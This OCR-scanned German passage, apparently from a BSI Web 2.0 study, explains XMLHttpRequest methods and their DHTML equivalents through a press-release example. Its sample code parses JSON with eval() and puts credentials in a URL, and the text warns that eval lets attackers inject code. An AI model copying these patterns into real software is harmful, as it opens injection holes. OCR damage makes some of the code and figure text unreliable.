Ohne Ajax kann entweder regelmédBig gepriift werden, ob ein gewiinschtes Element der angeforder-
ten Seite vorhanden ist oder das onload()-Attribut von [Frames oder Body Tags verwendet werden.
Fiir die regelméBige Uberpriifung wird, nachdem die Anfrage gesendet wurde, mit einem Timer
eine Funktion aufgerufen ( testResponse() ), die versucht auf das Element zuzugreifen und bei Er-
folg die handleResponse()-Funktion aufruft oder bei Misserfolg den Timer erneut startet:

function refresh() {
var iframe = document.createElement ("iframe");
iframe.setAttribute ("id", "iframe");
iframe.setAttribute ("src", "iframe.htm");
[...]
window.setTimeout ('testResponse()', 1000);
}
function testResponse () {
try {
// Versuche das gewlinschte Element zu selektieren
window.frames['iframe'].document.getElementById('presse') .innerHTML;

// wenn kein Fehler aufgetreten ist, gehe zu handleResponse ()
handleResponse () ;
}
catch(e) {
// Element konnte nicht selektiert werden,
// versuche es nochmal in einer Sekunde (1000 ms)

window.setTimeout ('testResponse()', 1000);
}
}

Im Gegensatz dazu die kiirzere Variante mit Hilfe des Onload-Attributs:

function refresh() {
var iframe = document.createElement ("iframe");
iframe.setAttribute ("id", "iframe");
iframe.setAttribute ("src", "iframe.htm");
[...]
iframe.setAttribute("onload", "handleResponse()");
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Hier muss allerdings in der handleResponse()-Funktion anschlieBend noch iiberpriift werden, ob das
gewiinschte Element tatséchlich auch vorhanden ist.

10.1.6  readyState

Der readyState liefert den aktuellen Zustand des XHR-Objekts. Sobald das Objekt einmal erstellt
wurde, kann der Status jederzeit abgefragt werden. Abbildung 10.2 (Seite 73) zeigt die Bedeutung
des readyState im Zusammenhang mit den Funktionen und Attributen. Sobald die Abfrage bei-
spielsweise mit send() abgeschickt wird, wechselt der readyState auf 2, wohingegen die Antwort
des Servers erst mit readyState 3 bzw. vollstandig bei readyState 4 verwendet werden kann.

Dieses Attribut ist vor allem im Zusammenhang mit onreadystatechange wichtig, um die Daten des
Servers erst zu verwenden, wenn sie bereits vollstandig empfangen wurden. In dem vorliegenden
Beispiel wird hierzu die definierte Funktion handleResponse() erweitert:

function handleResponse () {

// prifen ob Antwort auf Anfrage vollstdndig empfangen wurde
if (xhr.readyState == 4) {

// Daten verarbeiten und darstellen

}
}

Wie bereits bei der Funktion abort() kurz angesprochen, sollte vor einer neuen Anfrage erst die alte

abgebrochen werden. Um festzustellen, ob das Objekt bereits in Verwendung ist, wird ebenfalls das
readyState-Attribut verwendet.

Bei jeder neuen Anfrage (,,Aktualisieren®, Timer abgelaufen etc.) wird in dem vorliegenden Bei-
spiel die Funktion refresh() durchlaufen (siche Abbildung 10.5, Seite 75). Diese tliberpriift, ob das
XHR-Objekt vorhanden ist (bereits einmal erstellt wurde) und ob es noch damit beschéftigt ist, eine
Seite zu laden. In diesem Fall wird das aktuelle XHR-Objekt mittels abort() abgebrochen, bevor es
neu erzeugt wird.
function refresh() {
if (xhr && (xhr.readyState == 2 || xhr.readyState == 3)) {
xhr .abort () ;

}
xhr = new XMLHttpRequest();

// Anfrage konfigurieren und absenden.

/] ...

Realisierung mit DHTML:

In DHTML ist lediglich durch das onload-Attribut feststellbar, ob die Seite vollstindig geladen
wurde. Weitere Unterscheidungen konnen nicht getroffen werden.

10.1.7 open

Diese Funktion initialisiert das XHR-Objekt mit der gewiinschten Request-Methode, der URL, der
Information ob der Request asynchron geschickt werden soll (async: true/false) und optional mit
Benutzername und Passwort fiir die Anfrage.

xhr.open ( Request-Methode, URL, async [[,Benutzername], Passwort] );
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Request-Methode:

Dem W3C-Standard entsprechend miissen mindestens GET, POST, HEAD, PUT, DELETE und
OPTIONS unterstiitzt werden. Grundsétzlich werden bei den gidngigen Browsern auch eigene Me-
thoden unterstiitzt, solange sie einem gewissen Format entsprechen. Aus Sicherheitsgriinden wird
die Eingabe validiert und erlaubt beispielsweise keine Steuerzeichen — die Methode TRACE wird
zudem seit Internet Explorer 6.0 SP2 blockiert.

URL:

Die URL gibt an, welche Seite kontaktiert werden soll und muss aus Sicherheitsgriinden innerhalb
der gleichen Domain liegen (Cross-Site Requests sind also generell nicht moglich). Im Gegensatz
zu den IFrames wird hier schon das Offnen verweigert. Das W3C-Dokument merkt aber bereits in
der Fassung vom Februar 2007 an, dass ,,eine zukiinftige Version oder Erweiterung dieser Spezifi-
kation [ XMLHttpRequest] mit sehr hoher Wahrscheinlichkeit eine Mdglichkeit bieten wird, Cross-
Site Requests durchzufiihren* (aus dem Englischen iibersetzt [W3C07]).

Async:
Dieses Argument bestimmt, ob die asynchrone Kommunikationsform gewihlt wird.

Asynchron bedeutet, dass die Anfrage im Hintergrund verarbeitet wird und man gleichzeitig weiter-
arbeiten kann. Bei mehreren gleichzeitigen Anfragen konnen diese in unterschiedlicher Reihenfolge
am Ziel ankommen und entsprechend auch die Antworten in beliebiger Reihenfolge wieder eintref-
fen.

Bei der synchronen Kommunikationsform wird hingegen der Browser fiir die Dauer der Anfrage
gesperrt und ein Weiterarbeiten ist in der Zwischenzeit nicht mdglich. Dies kann beispielsweise fiir
Transaktionen eingesetzt werden, die einen synchronen Ablauf erfordern. Gleichzeitig 14sst sich da-
durch ein erneutes Absenden eines Formulars oder Ahnliches verhindern.

Benutzername, Passwort:

Diese beiden Argumente sind optional und werden gegebenenfalls zur Authentisierung fiir die ange-
gebene URL verwendet. Da die Daten im Klartext fiir jeden Besucher sichtbar sind, ist eine Nut-
zung nur dann sinnvoll, wenn die Zugangsdaten ohnehin bekannt sind (6ffentliche Zuginge) oder
der Zugriff auf die Web-Anwendung selbst gleichermallen geschiitzt ist (selbe Zugangsdaten bzw.
interne Web-Anwendung etc.). Im letzteren Fall muss natiirlich auch darauf geachtet werden, dass
die Kommunikation und die zwischengespeicherten Seiten vor der Einsicht Dritter geschiitzt sind
(z. B. durch Verwendung von HTTPS).

Beispiel:

In dem Pressemitteilungs-Beispiel wird mit der open-Funktion die Datei news.xml, die jeweils die
aktuellen Pressemitteilungen enthilt, definiert. Die Anfrage erfolgt asynchron per GET-Request.
Der Besucher der Webseite kann also wihrend des gesamten Ladevorgangs die Seite uneinge-
schriankt weiternutzen und merkt von alledem nichts.

function refresh() {

/]

xhr.open ("GET", "news.xml", true);

Bundesamt fiir Sicherheit in der Informationstechnik 79



Web 2.0 Anhang A

// Anfrage absenden
}

Realisierung mit DHTML.:
In reinem DHTML ist diese Funktion nur bedingt abzubilden:

Request-Methode:

HTML-Elemente unterstiitzen nur die GET- und POST-Methode, weitere Request-Methoden sind
nicht moglich. Beim Veridndern der URL eines [Frames wird die Seite automatisch per GET ange-
fordert.

POST-Requests konnen ausschlielich tiber Formulare realisiert werden. Wie beim Erstellen des
IFrames konnen auch Formulare inklusive der Eingabefelder aktiv erstellt werden. Das method-At-
tribut des Formulars selbst wird vor dem Absenden wahlweise auf GET oder POST gesetzt. Das
target-Attribut eines Formulars ist dabei wiederum ein [Frame.

Beim Senden des Requests mit der zusétzlichen Information ,,thema = Sicherheit*, wiirde das For-
mular wie folgt aufgebaut werden:
<form method="POST" action="news.xml" target="iframe">

<input type="hidden" name="thema" value="Sicherheit">
</form>

URL:

Die URL kann grundsitzlich beliebig gewéhlt werden. Ein Zugriff auf den Inhalt der gedffneten
Seite ist allerdings nur moglich, wenn diese sich innerhalb der gleichen Domain befindet. Bei der
Verwendung von IFrames ist weiterhin zu beachten, dass beim Andern der URL (im Gegensatz zu
dem XHR-Objekt) diese automatisch angefordert wird.

Asynec:

Das Offnen einer Seite erfolgt asynchron, wird aber im Browser als ladendes Element angezeigt
(siche Abbildung 10.6).

| www.bsi.bund.de gelesen | SR [

Abbildung 10.6: Statuszeile beim Laden einer Seite in einem [Frame.

Eine synchrone Kommunikation kann client-seitig nur iiber Umwege in Teilen abgebildet, nicht
aber vollstidndig gelost werden. In dem vorliegenden Beispiel konnte beim Start des Ladevorgangs
der Button ,,Aktualisieren* deaktiviert oder ausgeblendet werden, sodass die Anfrage nicht erneut
gesendet wird. Dennoch ist ein SchlieBen des Browsers, wechseln oder erneutes Laden der Seite
weiterhin moglich.

Benutzername, Passwort:

Benutzername und Passwort miissen bereits in der URL selbst iibergeben werden:

http://Benutzername:Passwort@server/news.xml
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10.1.8 setRequestHeader

Diese optionale Funktion kann nach der Initialisierung durch open verwendet werden, um zusétzli-
che Header fiir die Anfrage zu definieren oder bestehende zu verandern. Der Aufruf kann dabei
mehrmals erfolgen und {ibergibt dem XHR-Objekt jeweils einen Header in der Form von einem Na-
men und einem Wert.

xhr.setRequestHeader ( Name, Wert );

Aus Sicherheitsgriinden sind laut W3C folgende Namen nicht erlaubt: Accept-Charset, Accept-
Encoding, Content-Length, Expect, Date, Host, Keep-Alive, Referer, TE, Trailer, Transfer-
Encoding, Upgrade.

Folgende Namen sind erlaubt, ersetzen aber einen vorhandenen Eintrag: Authorization, Content-
Base, Content-Location, Content-MD5, Content-Range, Content-Type, Content-Version, Delta-

Base, Depth, Destination, ETag, From, [f-Modified-Since, If-Range, If-Unmodified-Since, Max-
Forwards, MIME-Version, Overwrite, Proxy-Authorization, SOAPAction, Timeout.

Alle anderen Namen werden (nach einer Validierung) zum Header hinzugefiigt, gegebenenfalls
auch in mehrfacher Ausfithrung mit selben oder anderen Werten. Mit sefRequestHeader konnte bei-
spielsweise sichergestellt werden, dass Pressemitteilungen nur gesendet werden, wenn sich diese
seit letzter Anfrage verdndert haben:

// Zeitpunkt der letzten Abfrage speichern
letzteAbfrage = (new Date) .toGMTString();

// Mitteilungen nur senden, wenn sie sich seither gedndert haben
xhr.setRequestHeader ("If-Modified-Since", letzteAbfrage);

Wird als Server-Antwort der HTTP-Status-Code 304 (not modified) zuriickgeschickt, braucht die
Antwort so nicht weiter behandelt werden und es wird zu einem spateren Zeitpunkt erneut ange-
fragt.

Realisierung mit DHTML:

Mit DHTML ist ein client-seitiges Manipulieren des Headers auch tiber Umwege nicht moglich.
Generell kann ohne Ajax nur der Referrer und das Cookie des Clients abgefragt werden.

10.1.9 send

Nachdem das XHR-Objekt durch die open-Funktion vollstindig initialisiert wurde, kann die Anfra-
ge mittels send abgeschickt werden. Als Argument akzeptiert diese Funktion optionale Daten, die
dem HTTP-Request angehéngt werden. Genutzt wird dies beispielsweise bei POST-Requests, wenn
Formulardaten iibersendet werden.

Die Funktion refresh des Pressemitteilungs-Beispiels ist somit vollstdndig:

var xhr;
function refresh() {
if (xhr && (xhr.readyState == 2 || xhr.readyState == 3)) {

xhr.abort () ;
}
xhr = new XMLHttpRequest();
xhr.onreadystatechange = handleResponse;
xhr.open ("GET", "news.xml", true);
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xhr.send (null) ;

}

Da es sich um ein GET-Request handelt, wird in der letzten Zeile die send-Funktion ohne zusitzli-
che Daten (null) aufgerufen.

Realisierung mit DHTML.:

In DHTML entspricht diese Funktion dem Absenden (submit-Funktion) eines Formulars. Die optio-
nalen Daten miissen dabei im jeweiligen Formular bereits als einzelne Eingabefelder definiert sein.
Bei IFrames entspricht diese Funktion dem Ubergeben einer URL, wodurch diese sofort geladen
wird.

10.1.10 getResponseHeader, getAllResponseHeaders

Mit diesen beiden Attributen kann entweder gezielt ein einzelner Header oder gesammelt der kom-
plette Header der Server-Antwort erfasst werden. Vorausgesetzt wird entsprechend, dass der Header
bereits gesendet bzw. empfangen wurde (readyState des XHR-Objekts betrdgt 3 oder hoher).

xhr.getResponseHeader ( name )
xhr.getAllResponseHeaders ()

Beispielsweise konnte client-seitig ausgelesen werden, wie lange die empfangene Seite giiltig ist:

aktuell_bis = xhr.getResponseHeader ("expires");

Realisierung mit DHTML.:

Wie bei der Funktion setRequestHeader ist es in DHTML nicht moglich, Header-Daten der Server-
Antwort zu erfassen.

10.1.11 status, statusText

Jede HTTP-Anfrage wird mit einem HTTP-Status-Code beantwortet und liefert Informationen dar-
iiber, ob die Anfrage erfolgreich bearbeitet wurde oder ein Fehler aufgetreten ist — z. B. Umleitung,
falsche Authentifizierung, Seite nicht vorhanden etc. (vgl. http://de.wikipedia.org/wiki/HTTP-
Statuscodes)

Dieser Status Code kann iiber das Attribut szatus abgerufen werden, sobald der readyState 3 bzw. 4
betragt. Das Attribut statusText liefert die gleiche Information in Textform:

Code 200 = OK, Code 304 = Not Modified, Code 404 = Not Found, usw.

Dies ermoglicht es, vor der Verwendung des empfangenen Textes zu iiberpriifen, ob die Seite er-
folgreich geladen wurde und gegebenenfalls darauf zu reagieren (z. B. andere Seite wéhlen). In dem
Pressemitteilungs-Beispiel wird die Funktion handleResponse() bekanntlich bei jedem Statuswech-
sel aufgerufen. Anstatt nur zu tiberpriifen, ob eine Antwort vollstindig empfangen wurde, kann zu-
sétzlich iiberpriift werden, ob die angeforderte Seite erfolgreich geladen werden konnte oder ob bei-
spielsweise nur eine Fehlermeldung vom Server zuriickgeliefert wurde (siehe Abbildung 10.7).

function handleResponse () {
if (xhr.readyState == 4 && xhr.status == 200) {
<!—-- Verarbeiten der Pressemitteilungen —-->

82 Bundesamt fiir Sicherheit in der Informationstechnik



Anhang A Web 2.0

| :
> ) Fehlermeldung - BSI "

Datei Bearbeiten Ansicht Chronik Lesezeichen Extras Hilfe

K:Z = EL} - @ 'R | fl} |@ www.bsi bund.defnews xml

L CUPS | Jdocs/src @E-Government-Hand... | 1 [%55/%HR Exploits] | ) [Barrierefreiheit] [ | iX 3/2007, 5. 94

| 3 i = i 1l : : 1l i
-, iE)-Sn.tzcl..wn:... = Securit... i!1{.3:n:r1'1H'1I:tp... "7 javascri... [em-sErriir. e PHP: M., | e Flickr s...

* Bundesamt
i fiir Sicherheit in der
Informationstechnik

das BSI | Themen | Aktuelles | Presse | Publikationen
BSI IVBB-Angebot

BSI-Informationen Ein Fehler ist aufgetreten

Dies kann mehrere Grinde haben:
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E-Government 2. Es kénnte eventuell ein Schreibfehler vorliegen.
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In diesem Fall teilen Sie uns doch bitte die entsprechende URL der externen Seite p
mit.
Wir werden uns mit dem Seiteninhaber der externen Seite in Verbindung setzen,

Abbild 10.7: Der Server liefert den Status Code 404 und eine Fehlerseite.

Realisierung mit DHTML:

Diese Uberpriifung ist in DHTML nur indirekt mdglich, nimlich indem versucht wird, auf das ge-
wiinschte Element im [Frame zuzugreifen. Ist der Zugriff erfolgreich, kann davon ausgegangen
werden, dass die richtige Seite geladen wurde. Liefert der Zugriff hingegen einen Fehler, ist die Sei-
te entweder noch nicht vollstdndig geladen oder der Server lieferte eine unerwartete Antwort.

function handleResponse () {
try {
// Versuche das gewlinschte Element zu selektieren
window.frames['iframe'] .document.getElementById('presse') .innerHTML;
}
catch(e) {
// Element nicht vorhanden -> Funktion beenden.
return false;
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10.1.12 responseText, responseXML

responseText und responseXML sind Attribute, die den Inhalt der Server-Antwort zur Verfiigung
stellen. Verwendet werden konnen diese, sobald der readyState 3 betrdgt. Ab diesem Zeitpunkt wer-
den die jeweils aktuell empfangenen Daten zuriickgeliefert. Bei readyState 4 kann sichergestellt
werden, dass der Inhalt vollstindig vorhanden ist.

Mit responseText wird der Inhalt unverdandert weitergegeben und erlaubt es so beliebige Formate zu
verwenden. responseXML hingegen erwartet die Daten des Servers im XML-Format und versucht
diese automatisch zu verarbeiten. Damit wird es ermdglicht, auf die Daten per DOM tiiber eine logi-
sche Baumstruktur zuzugreifen.

Beide Moglichkeiten bieten sowohl fiir die Effizienz als auch fiir die Sicherheit ihre Vor- und Nach-
teile. Als abschlieBender Teil ist damit auch die handleResponse()-Funktion komplett:
function handleResponse () {

if (xhr.readyState == 4 && xhr.status == 200) {
var pressemitteilungen = xhr.responseXML;

<!—-— Darstellen der Pressemitteilungen mittels DHTML -->

}
}

Da die dynamisch generierte Antwort des Servers im XML-Format gesendet wird, verwendet das
Beispiel das responseXML-Attribut. AnschlieBend kann per DHTML auf pressemitteilungen wie
auf eine HTML-strukturierte Seite zugegriffen werden und damit der Inhalt der aktuellen Seite aktiv
verandert werden.

Ab diesen Zeitpunkt werden am Browser die jeweils aktuellen Nachrichten angezeigt. Der Rest der
Seite bleibt dabei unveridndert und kann ohne Einschrankungen wéhrend und nach dem kompletten
Vorgang genutzt werden (siche Abbildung 10.8).

x = = TIATIOAEn Girs A% - 04 ) Ll 826
L Lste iabaten smihe Lhionk Lraeichin e pibe
@ - b ||| flsuhomneDwersshaifelanditoc wbespielempund nde him A

euen | aktuslies | Braise | Pubikstisaen

| neue Presse-
mitteilungen

ks sabuiaran |

Abbildung 10.8: Neue Pressemitteilungen werden dargestellt, ohne dass die akﬁtelle Seite neu geléden wird.

Realisierung mit DHTML.:

Ohne Ajax muss die gedffnete Seite im HTML-Format vorliegen, um die gewlinschten Elemente
mit den Informationen {iber das DOM selektieren zu kdnnen. Wie bereits gezeigt konnen die Nach-
richten entweder von der gedffneten Seite aus gesendet oder von der Hauptseite aus gelesen wer-
den.
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10.1.13 Austausch von Nachrichten

Zusammenfassend wird nochmals verdeutlicht, wie Nachrichten vom Client an den Server und vom
Server an den Client gesendet werden kdnnen.

Vom Client an einen Server:

Mit Ajax werden die Nachrichten vom Client iiber die URL als Parameter (open ('GET',
'news.xml?thema=sicherheit', true) ) oder als Content mittels send ('thema=sicherheit')
definiert. Gesendet werden diese Daten beim Aufruf der Send-Funktion an jene URL, die in der
Open-Funktion definiert ist und sich innerhalb der aufgerufenen Domain befinden muss.

In DHTML lassen sich die Nachrichten vom Client ebenfalls tiber die URL als Parameter definieren
oder iiber Eingabefelder mit Hilfe von Formularen. Gesendet werden diese Daten entweder beim
Absenden eines Formulars an die URL, die als Action-Attribut gesetzt ist (<form
action="news.xml">) oder automatisch beim Erstellen ((new Image).src = "news.xml") bzw.
durch Andern des src-Attributs (iframe.src = "news.xml") verschiedener HTML-Elemente. Die
URL kann im Gegensatz zu Ajax auch aullerhalb der eigenen Domain liegen.

Von einem Server an den Client:

Bei Ajax wird der Inhalt der angefragten URL iiber das responseText- bzw. das responseXML-Attri-
but abgefragt. Beit DHTML muss hingegen die URL ein HTML-Dokument darstellen, damit ein Zu-
griff auf die Elemente mit Informationen tiber das DOM moglich ist.

10.2 Formate fiir den Austausch von Nachrichten

Eine aufgerufene Seite (URL) wird iiblicherweise im HTML-Format iibertragen und beinhaltet ver-
schiedenste Elemente (Bilder, Tabellen, Texte, etc.), die fiir das Layout und den Informationsgehalt
verantwortlich sind.

Im Gegensatz dazu konnen Informationen, die iiber Ajax angefordert werden, in einem beliebigen
Format tibertragen werden, da sie auf dem Client noch verarbeitet und erst danach im Browser-
Fenster dargestellt werden (siehe Abbildung 10.9).
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Browser-
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Abbildung 10.9: Mit Ajax konnen beliebige Formate gewdhlite werden.

Die Quelle der Informationen kann eine dynamische Datenbank oder aber eine einfache statische
Datei sein. Welches Format fiir die Ubertragung gewéhlt wird, héngt letztlich vom Programmierer
der Webseite ab und kann vom Client nicht beeinflusst werden.

XML (das x in Ajax) wird meist bei Programmierschnittstellen von gro8eren Web-Anwendungen
verwendet wie etwa FlickR oder Google Maps. Da XML eine beschreibende bzw. Auszeichnungs-
sprache ist, kann die Antwort somit von jedem leicht interpretiert werden. Auch die Pressemittei-
lungen konnten im XML-Format gesendet und anschlieSend iiber das DOM angesprochen werden
(siche Abbildung 10.10). Mit XML ist also ersichtlich, wo sich die einzelnen Pressemitteilungen in-
klusive der verschiedenen Felder (Datum, Titel, Text) in der ibermittelten Nachricht befinden.

Da die Anfrage vom Client ausgefiihrt wird, sind die verwendeten Schnittstellen und notigen Para-
meter im Quellcode der Webseite ersichtlich und konnen somit auch anderweitig ausgenutzt wer-
den. Risiken bestehen fiir Serviceanbieter, wenn beispielsweise XML-RPC verwendet wird und die
Eingabe nicht gefiltert wird. XML-RPC (XML Remote Procedure Call) definiert ein XML-Format
in dem Funktionsaufrufe gesendet werden konnen. Da die Schnittstelle bekannt ist, kann ein An-
greifer u. U. Funktionen oder Befehle aufrufen, die vom Serviceanbieter nicht beabsichtigt waren.

Bei kleineren Web-Anwendungen ist die Beschreibung der Daten durch XML meist ein unndétiger
zusitzlicher Aufwand und es werden stattdessen andere Formate fiir die Ubertragung genutzt. Dies
kann im einfachsten Fall Klartext oder, wie immer hiufiger anzutreffen, das JSON-Format sein.
JSON (JavaScript Object Notation) ist als Subset von JavaScript standardisiert [RFC4627]. Ein
empfangener Text im JSON-Format kann per eval-Anweisung automatisch in eine Datenstruktur
(JavaScript-Objekt) umgewandelt werden.

var pressemitteilungen = eval (xhr.responseText) ;
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Somit kann, wie bei XML, auf die einzelnen Elemente (Titel, Datum, etc.) zugegriffen werden.

<?xml version='l.0' encoding='IS0-8855-1'"7>
<pressemitteilung> |
<nachricht> o ) pressemitteilung
<titel>BSI-Prasident fordert starkeres |

Bewusstsein fiir IT-Sicherheit /\
</titel> |

<datum>l. M&rz 2007</datum> nachricht nachricht
<text>»Bei der Veranstaltung "European
Security Awareness Day" der Business | /N /N
Software Alliance am 27. Februar [...] ) )
</text> | titel datum text titel datum text

</nachricht> ‘ ‘ ‘

<nachricht> |
<titel>»Das BSI auf der CeBIT</titel> BSI-Prasident fordert 1. Marz 2007 Bei der Veranstaltung ,Euro .
<datum>22. Februar 2007</datum> | stérkeres Bewusstsein pean Security Awareness Day'

<text »Auf der CeBIT, die veom 15. bis 21. Mirz flr I T-Sicherheit der Business Software Alliance
2007 in Hannover stattfindet, présen- | am 27. Februar ..
tiert das Bundesamt fiir Sichererheit in
der Informaticnstechnik [...]
</text> |
</nachricht>
</pressemitteilung> |

XML | DOM
Abbildung 10.10: Sichtweise der Pressemitteilungen — XML, DOM.

Da client-seitig der Zugriff auf JavaScript-Objekte erheblich komfortabler ist als auf XML, wird
sehr haufig JSON vorgezogen. Im Vergleich dazu der Quellcode zum Umwandeln in das jeweilige
Objekt (XML bzw. JSON) und Zugriff auf den Titel der ersten Pressemitteilung:

XML :

var pressemitteilungen = res.responseXML;
pressemitteilungen.getElementsByTagName ( 'nachricht')
[0] .getElementsByTagName ('titel') [0].firstChild.nodeValue;

JSON:

var pressemitteilungen = eval('(' + res.responseText + ')');
pressemitteilungen.nachricht[0].titel;

Zu beachten ist hierbei, dass die eva/-Funktion nichts anderes macht, als die empfangene Nachricht
client-seitig ohne jegliche Priifung auszufithren. Zwar konnte die Nachricht vorher iiberpriift und
gefiltert werden, aber aus Effizienzgriinden wird darauf meist verzichtet.

Wenn ein Angreifer also in der Lage ist, die URL oder die libermittelte Antwort zu beeinflussen,
kann er auf diese Weise problemlos Schadcode einschleusen, der auf jedem Client, der Aktive In-
halte zuldsst, ausgefiihrt wird.
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